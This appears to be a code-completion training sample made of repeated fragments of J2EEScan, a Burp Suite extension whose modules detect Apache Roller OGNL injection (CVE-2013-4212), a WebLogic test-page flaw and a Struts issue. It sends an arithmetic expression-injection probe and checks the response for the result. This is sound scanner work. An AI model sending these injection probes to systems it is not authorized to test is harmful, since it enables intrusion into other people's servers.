modifiedRawRequest = utf8rawRequest.replaceFirst("=", "").getBytes();
modifiedRawRequest = callbacks.getHelpers().addParameter(modifiedRawRequest,
callbacks.getHelpers().buildParameter("hook", "HOOK_VAL", IParameter.PARAM_URL)
);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), modifiedRawRequest);
// Get the response body
byte[] responseBytes = checkRequestResponse.getResponse();
String response = helpers.bytesToString(responseBytes);
Matcher matcher = DYNAMIC_METHOD_INVOCATION.matcher(response);
if (matcher.find()) { | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/ApacheRollerOGNLInjection.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.Random; | String multiplication = Integer.toString(firstInt * secondInt);
String EL_INJECTION_TEST = String.format("${%d*%d}", firstInt, secondInt);
byte[] GREP_STRING = multiplication.getBytes();
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
// Specific test for Apache Roller OGNL RCE CVE-2013-4212.
if (curURL.getPath().contains("login.rol")) {
byte[] rawrequest = baseRequestResponse.getRequest();
List<IParameter> parameters = reqInfo.getParameters();
//Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter("pageTitle", EL_INJECTION_TEST, IParameter.PARAM_URL)
);
// make a request containing our injection test in the insertion point
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), rawrequest);
byte[] response = checkRequestResponse.getResponse(); | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/ApacheRollerOGNLInjection.java
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
String multiplication = Integer.toString(firstInt * secondInt);
String EL_INJECTION_TEST = String.format("${%d*%d}", firstInt, secondInt);
byte[] GREP_STRING = multiplication.getBytes();
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
// Specific test for Apache Roller OGNL RCE CVE-2013-4212.
if (curURL.getPath().contains("login.rol")) {
byte[] rawrequest = baseRequestResponse.getRequest();
List<IParameter> parameters = reqInfo.getParameters();
//Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter("pageTitle", EL_INJECTION_TEST, IParameter.PARAM_URL)
);
// make a request containing our injection test in the insertion point
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), rawrequest);
byte[] response = checkRequestResponse.getResponse(); | List<int[]> matches = getMatches(response, GREP_STRING, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/ApacheRollerOGNLInjection.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.Random; | URL curURL = reqInfo.getUrl();
// Specific test for Apache Roller OGNL RCE CVE-2013-4212.
if (curURL.getPath().contains("login.rol")) {
byte[] rawrequest = baseRequestResponse.getRequest();
List<IParameter> parameters = reqInfo.getParameters();
//Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter("pageTitle", EL_INJECTION_TEST, IParameter.PARAM_URL)
);
// make a request containing our injection test in the insertion point
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), rawrequest);
byte[] response = checkRequestResponse.getResponse();
List<int[]> matches = getMatches(response, GREP_STRING, helpers);
if (matches.size() > 0) {
String rceDetails = String.format("<br /><br />The following algorithm operation has been "
+ "executed on the remote system:<br /><br /><strong> %d * %d = %s</strong>", firstInt, secondInt, multiplication);
| // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/ApacheRollerOGNLInjection.java
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
URL curURL = reqInfo.getUrl();
// Specific test for Apache Roller OGNL RCE CVE-2013-4212.
if (curURL.getPath().contains("login.rol")) {
byte[] rawrequest = baseRequestResponse.getRequest();
List<IParameter> parameters = reqInfo.getParameters();
//Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter("pageTitle", EL_INJECTION_TEST, IParameter.PARAM_URL)
);
// make a request containing our injection test in the insertion point
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), rawrequest);
byte[] response = checkRequestResponse.getResponse();
List<int[]> matches = getMatches(response, GREP_STRING, helpers);
if (matches.size() > 0) {
String rceDetails = String.format("<br /><br />The following algorithm operation has been "
+ "executed on the remote system:<br /><br /><strong> %d * %d = %s</strong>", firstInt, secondInt, multiplication);
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/WeblogicWebServiceTestPageCVE20182894.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String WS_TEST_PAGE : WS_TEST_PAGES) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), WS_TEST_PAGE);
byte[] udditest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, udditest);
IResponseInfo wsInfo = helpers.analyzeResponse(response);
if (wsInfo.getStatusCode() == 200) {
for (byte[] GREP_STRING : GREP_STRINGS) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/WeblogicWebServiceTestPageCVE20182894.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String WS_TEST_PAGE : WS_TEST_PAGES) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), WS_TEST_PAGE);
byte[] udditest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, udditest);
IResponseInfo wsInfo = helpers.analyzeResponse(response);
if (wsInfo.getStatusCode() == 200) {
for (byte[] GREP_STRING : GREP_STRINGS) {
| List<int[]> matches = getMatches(response, GREP_STRING, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/WeblogicWebServiceTestPageCVE20182894.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String WS_TEST_PAGE : WS_TEST_PAGES) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), WS_TEST_PAGE);
byte[] udditest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, udditest);
IResponseInfo wsInfo = helpers.analyzeResponse(response);
if (wsInfo.getStatusCode() == 200) {
for (byte[] GREP_STRING : GREP_STRINGS) {
List<int[]> matches = getMatches(response, GREP_STRING, helpers);
if (matches.size() > 0) { | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/WeblogicWebServiceTestPageCVE20182894.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String WS_TEST_PAGE : WS_TEST_PAGES) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), WS_TEST_PAGE);
byte[] udditest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, udditest);
IResponseInfo wsInfo = helpers.analyzeResponse(response);
if (wsInfo.getStatusCode() == 200) {
for (byte[] GREP_STRING : GREP_STRINGS) {
List<int[]> matches = getMatches(response, GREP_STRING, helpers);
if (matches.size() > 0) { | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2020.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
